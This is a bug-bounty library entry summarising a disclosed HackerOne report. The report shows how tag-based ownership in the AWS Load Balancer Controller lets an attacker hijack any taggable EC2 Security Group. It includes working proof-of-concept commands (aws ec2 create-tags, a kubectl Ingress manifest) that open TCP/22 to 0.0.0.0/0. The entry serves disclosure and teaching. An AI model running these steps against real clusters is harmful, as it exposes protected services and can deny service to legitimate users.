# AWS Load Balancer Controller can be used by an attacker to modify rules of any Security Group that they are able to tag

Attacker with namespace access tags an unmanaged Security Group with the controller's expected tags, then creates a matching Ingress to inject arbitrary inbound rules into that SG.

- Payout: $500
- Severity: medium
- Program: Kubernetes
- Found by: t0rr3sp3dr0
- Disclosed: 2022-06-02
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1238482
- Library page: https://bugbountylibrary.com/r/h1%3A1238482
- Tags: area:cloud domain:cloud impact:dos impact:internal-access kind:bounty platform:hackerone sev:medium tech:aws tech:kubernetes technique:recon vuln:access-control vuln:misconfiguration

**Target:** AWS Load Balancer Controller (Kubernetes Ingress controller) / EC2 Security Groups
**Root cause:** Controller identifies 'managed' SGs solely by three tag values (elbv2.k8s.aws/cluster, ingress.k8s.aws/stack, ingress.k8s.aws/resource) and trusts the first AWS SDK-returned match, so any attacker-taggable SG is treated as controller-owned and rewritten via Ingress annotations.
**Steps:**
1. Create/identify an unmanaged SG in the VPC: `aws ec2 create-security-group --group-name unmanaged-sg --vpc-id $VPC_ID`
2. Tag it with controller-expected values: `aws ec2 create-tags --resources $SG --tags Key=elbv2.k8s.aws/cluster,Value=$CLUSTER_NAME Key=ingress.k8s.aws/stack,Value=echoserver/echoserver Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup`
3. Create Service+Ingress in namespace/name matching the stack tag with annotations `alb.ingress.kubernetes.io/listen-ports: '[{"HTTP":22}]'` and `alb.ingress.kubernetes.io/inbound-cidrs: 0.0.0.0/0`
4. Wait for reconcile, then verify: `aws ec2 describe-security-groups --group-id $SG` shows new inbound rule TCP/22 from 0.0.0.0/0
**How found:** Noticed the controller's IAM policy permits modifying rules of any SG in the account, then reasoned that SG ownership is determined purely by tag matching and that the AWS SDK returns multiple matches sorted by ID, so a pre-tagged SG would be adopted before the legitimate one is created.
**Exploitation:** Attacker needs only namespace-level K8s access plus IAM permission to tag EC2 SGs. Pre-tagging the victim SG with the three controller tags makes the controller adopt it as managed; the subsequent Ingress annotations cause the controller (with its broad IAM policy) to write attacker-chosen inbound rules onto the SG, exposing protected services or blocking legitimate traffic.
**Escalation:** Exposing internal services on public subnets to 0.0.0.0/0 enables direct access to network-protected resources; conversely, rule overwrite can DoS legitimate clients.
**Insight:** When a controller/operator claims cloud resources by tag, any principal that can write those tags can hijack ownership; test by pre-tagging a resource with the exact ownership tags before the legitimate resource exists and observe whether the controller rewrites it.

## Proof of concept (copied exactly from the original report)

**Tag unmanaged SG with controller tags**

```
aws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags "Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}" "Key=ingress.k8s.aws/stack,Value=echoserver/echoserver" "Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup"
```

**Ingress with listen-ports and inbound-cidrs annotations**

```
cat <<- EOF | kubectl apply -f -
apiVersion: v1
kind: Service
metadata:
  namespace: echoserver
  name: echoserver
spec:
  selector:
    app: echoserver
  ports:
    - name: http
      protocol: TCP
      port: 8080
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  namespace: echoserver
  name: echoserver
  annotations:
    kubernetes.io/ingress.class: alb
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTP":22}]'
    alb.ingress.kubernetes.io/inbound-cidrs: 0.0.0.0/0
spec:
  rules:
    - host: echoserver.example.com
      http:
        paths:
          - backend:
              serviceName: echoserver
              servicePort: 8080
EOF
```

**Verify SSH rule added to unmanaged SG**

```
aws ec2 describe-security-groups --group-id ${UNMANAGED_SG_ID}
```

